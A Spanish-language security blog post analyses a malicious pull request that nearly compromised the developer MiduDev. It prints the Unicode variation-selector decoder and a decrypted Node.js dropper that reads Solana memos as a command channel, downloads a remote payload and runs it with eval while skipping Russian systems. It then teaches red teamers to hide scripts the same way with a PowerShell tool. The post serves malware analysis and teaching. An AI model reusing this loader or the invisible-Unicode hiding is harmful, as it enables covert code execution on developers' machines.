Pull Request maliciosas, UniCode Obfuscation y el malware que casí compromete a MiduDev
En este post analizamos el caso real de MiduDev y replicamos TTPs reales de atacantes en activo.
1. Pull Request maliciosa y el caso de Midudev
Hace unos días Midudev, uno de los youtubers de tecnología en habla hispana más conocidos, comentó en un video que había sufrido un ataque que estuvo a punto de comprometer su equipo. En el video se detalla el paso a paso bastante bien y analiza el contenido del código malicioso. Personalmente le sigo desde hace tiempo y sube cosas bastante actualizadas, por lo que si no lo conoces 100% recomendado! Si bien es verdad que es un canal propiamente de desarrollo suele tratar temas de actualidad y seguridad de manera recurrente, y esta vez le pasó a él quien por poco se ve comprometido. Os dejo el video para ver todo el detalle, como vivió el ataque y como lo paró siguiendo buenas prácticas en el desarrollo.
Básicamente el malware se replicó por una Pull Request de otro usuario en su repositorio que había sido infectado previamente. La Pull Request maliciosa introducía un ficherito llamado “preinstall.js” .
Si bien aparece que hay que cargar el contenido podemos verlo facilmente como nos explica el propio Midu en su video.
Como podemos ver ya persé parece bastante raro, podemos recuperar el script para analizarlo.
1
2
3
4
5
6
7
8
const s = v => [...v]
.map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 :
null
))
.filter(n => n !== null);
Dándole una vuelta podemos observar que es un método de ofuscación que oculta el contenido de un payload en una cadena de emojis especiales y lo ejecuta usando eval. Podemos ver que existe una discrepancia entre bytes y caracteres usando un byte counter como hace el propio Midu.
Esto los ayuda a evidenciar el contenido del malware aunque nos interesa ver un poco el propio funcionamiento.
2. Analisis del bicho
Una vez profundizamos en el contenido nos damos cuenta que es código JavaScript cifrado meidante AES-250-CBC usando el módulo crypto de Node. Como incluye la clave hardcodeada podemos dessencriptarlo con cuidado y analizad su contenido.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
const os = require("os");
const fs = require("fs");
const path = require("path");
async function _getSignFAddress(publicKey, options = {}) {
let limit = options.limit || 1000;
const endpoints = [
"https://api.mainnet-beta.solana.com",
"https://solana-mainnet.gateway.tatum.io",
"https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
"https://solana-rpc.publicnode.com",
"https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
"https://solana.drpc.org",
"https://solana.leorpc.com/?api_key=FREE",
"https://solana.api.onfinality.io/public",
"https://solana.api.pocket.network/"
];
let lastError = null;
for (let endpoint of endpoints) {
try {
let response = await fetch(endpoint, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
jsonrpc: "2.0",
id: 1,
method: "getSignaturesForAddress",
params: [publicKey.toString(), { limit }]
})
});
if (!response.ok) throw new Error("");
let data = await response.json();
if (data.zmwtjkgxor) throw new Error("");
return data.result;
} catch (e) {
lastError = e;
await new Promise(r => setTimeout(r, 100));
continue;
}
}
throw new Error(`${lastError?.message}`);
}
// Obtiene memo desde la blockchain (C2)
function fvzsrnzlh() {
return new Promise(async resolve => {
try {
let memo = null;
while (!memo) {
let signatures = await _getSignFAddress(
"CONTENIDO ELIMINADO",
{ limit: 1000 }
);
if (!Array.isArray(signatures) || signatures.length === 0) {
await new Promise(r => setTimeout(r, 10000));
continue;
}
memo = signatures.filter(x => x?.memo)[0].memo;
await new Promise(r => setTimeout(r, 10000));
}
let result = memo.replace(/\[\d+\]\s*/, "");
return resolve(JSON.parse(result));
} catch (e) {
return resolve(e.toString());
}
});
}
// Main (delay + anti-analysis)
new Promise(r => setTimeout(r, 10000)).then(() => {
if (_isRussianSystem()) return;
let homedir = process.env.USERPROFILE || os.homedir();
let filePath = path.join(homedir, "init.json");
if (fs.existsSync(filePath)) {
let check = fs.readFileSync(filePath);
try {
check = JSON.parse(check);
if (!(check?.date && check.date + 2 * 24 * 60 * 60 * 1000 < Date.now())) {
return;
}
check.date = Date.now();
fs.writeFileSync(filePath, JSON.stringify(check));
} catch {}
}
if (os.platform() === "darwin") {
fs.writeFileSync(filePath, JSON.stringify({ date: Date.now() }), "utf-8");
}
fvzsrnzlh().then(_data => {
scyzzvvy(atob(_data.link), async (err, { uezupbxi, ypbtv, secretKey }) => {
if (!uezupbxi) {
console.log("payload not get", atob(_data.link));
return;
}
if (err) {
await new Promise(r => setTimeout(r, 1000));
fvzsrnzlh();
return;
}
// ejecución payload
if (uezupbxi?.length === 20) {
eval(atob(uezupbxi));
return;
}
if (os.platform() === "darwin") {
let _iv = Buffer.from(ypbtv, "base64");
eval(atob(uezupbxi));
} else {
const vm = require("vm");
let context = {
require,
Buffer: require("buffer").Buffer,
atob: str => Buffer.from(str, "base64").toString("binary"),
btoa: str => Buffer.from(str, "binary").toString("base64"),
process,
console,
setTimeout,
setImmediate,
clearTimeout,
setInterval,
clearInterval
};
vm.createContext(context);
new vm.Script(`
var https = require("https");
const secretKey = '${secretKey}';
const _iv = Buffer.from('${ypbtv}', "base64");
eval(atob('${uezupbxi}'));
`).runInContext(context);
}
});
});
});
// descarga payload
async function scyzzvvy(url, callback) {
try {
let response = await fetch(url, {
headers: { os: os.platform() }
});
if (response.ok) {
let data = await response.text();
let headers = response.headers;
callback(null, {
uezupbxi: data,
ypbtv: headers.get(atob("CONTENIDO ELIMINADO")), // ivbase64
secretKey: headers.get(atob("CONTENIDO ELIMINADO")) // secretkey
});
} else {
callback(new Error(""));
}
} catch (e) {
callback(e);
}
}
// anti-RU sandbox evasion
function _isRussianSystem() {
let isRussianLanguage = [
os.userInfo().username,
process.env.LANG,
process.env.LANGUAGE,
process.env.LC_ALL,
Intl.DateTimeFormat().resolvedOptions().locale
].some(info => info && /ru_RU|ru-RU|Russian|russian/i.test(info));
let timezoneInfo = [
Intl.DateTimeFormat().resolvedOptions().timeZone,
new Date().toString()
];
let russianTimezones = [
"Europe/Moscow",
"Europe/Kaliningrad",
"Europe/Samara",
"Asia/Yekaterinburg",
"Asia/Omsk",
"Asia/Krasnoyarsk",
"Asia/Irkutsk",
"Asia/Yakutsk",
"Asia/Vladivostok",
"Asia/Magadan",
"Asia/Kamchatka",
"Asia/Anadyr",
"MSK"
];
let isRussianTimezone = timezoneInfo.some(info =>
info && russianTimezones.some(tz =>
info.toLowerCase().includes(tz.toLowerCase())
)
);
let utcOffset = -new Date().getTimezoneOffset() / 60;
let isRussianOffset = utcOffset >= 2 && utcOffset <= 12;
return isRussianLanguage && (isRussianTimezone || isRussianOffset);
}
Como podemos ver hay varias cuestiones que son curiosas en el código. Te habrá llamado la atención que tiene maneras de detectar si el usuario es ruso y en caso de no serlo condiciona su ejecución. Esto es algo que suele aparecer cuando se habla de Malware en paises occidentales ya que al parecer en Rusia no penan acciones ciberciminales ejecutadas fuera de Rusia pero si las que se cometen dentro del mismo estado, e imagino que paises con los que tengan relacción. Es por ello que este dropper no tiene finalmente ejecución si detecta algunos de los parámetros que define, ya que así si tuviese consecuencias legales al ejecutar al atacante podrían juzgar al mismo.
Independientemente de esta curiosidad podemos ver una timeline de ejecución del dropper que permite al atacante desplegar el payload dentro de las máquinas que ejecuten el proyecto.
Todo esto nos ha servido para aprender varias técnicas y comprobar el comportamiento de un atacante real. En este punto Vamos a tratar de replicar el comportamiento de la primera técnica que el atacante ha utilizado para el delivery del payload.
3. Emulando unicode obfuscation
Viendo las técnicas que usa el atacante para hacer que salga adelante su killchain me parece interesante replicar el Unicode Obfuscation que realiza, por lo que vamos a ir al punto principal. Básicamente lo que hace el atacante es convertir el código del dropperen un código ofuscado. Esto lo hace mediante “Variation Selectors” que son básicamente Unicodes que no se suelen mostrar al usuario, esto permite ocultar la información fácilmente. Simplemente se tiene que incluir una manera de descifrar el contenido, el contenido oculto y la ejecución. El usuario simplemente verá en su código:
Es el momento de robar TTPs a los malos.
Como medida de OPSEC es útil usar la esteganografía para ocultar el contenido de lo que vamos a ejecutar. Esto puede ser útil en diversos contextos para un red team, por lo que vamos a replicarlo. Para replicarlo, en este caso en Powershell, vamos a usar una herramienta creada por mi (y por Claude, para que engañarnos!) que sirve para reproducir los pasos que hemos visto parcialment (no porporcionaré en el script la rutina de descifrado o cifrado, solo la ocultación por Unicode).
Vamos al lío! Puedes consultar en mi repo PowerUniHide el cual te permitirá de manera sencilla pasarle un payload concreto o un script y devolverte la ofuscasción del mismo con esta técnica. Para poner en práctica todo esto nos descargaremos el script de powershell y lo ejecutaremos.
Como podemos ver tenemos diferentes opciones. Simplemente le pasaremos el script hello cuyo contenido es un simple hello world.
1
2
$message = "Hello, World from Unicode!"
Write-Output $message
Al ejecutarlo podremos obtener un fichero llamado hello_hiden en powershell.
Si observamos el contenido podemos encontrar lo siguiente donde observamos la cadena de caracteres ilegibles.
Si lo ejecutamos podremos ver el contenido del script de manera sencilla ya que nos descodifica el contenido del mismo.
Podemos hacer lo mismo que con el contenido del atacante, lo copiamos en un bytecounter y se observa una discrepancia que a ojos de quien observa el código al copiar y pegarlo no existe pero se encuentra al comienzo del msimo.

De hecho para hacer más creible este hecho podeís ir al propio Readme.md PowerUniHide en el cual en el apartado “Ejemplo de Output” he colocado el código con el “Hello, World from Unicode!”, de manera que si pulsas en el típico botón que te lleva al portapapeles un comando te llevas oculto el payload 😈 compruebalo por ti mismo!
Apoya el contenido de ciberseguridad en castellano
Si esta publicación te ha sido útil y quieres apoyar mi trabajo para que continúe creando más contenido, aquí te dejo algunas formas de apoyar:
Compartir el contenido 📲 Si crees que esta guía puede ser útil para otras personas, compartirla en tus redes sociales es una gran ayuda.
Donar en Ko-fi 💖 Puedes hacer una donación rápida a través de Ko-fi para ayudarme a seguir publicando guías y tutoriales. ¡Cada aportación cuenta y es muy apreciada!
Usa mi enlace de afiliado de NordVPN y NordPass para mejorar tu seguridad y apoyar la creación de contenido 🛡️ Puedes suscribirte a NordVPN con un 75% de descuento y 3 meses gratis o a NordPass con un 53% de descuento y 3 meses gratis y mejorar tu seguridad a la vez que apoyas el contenido de ciberseguridad en español.












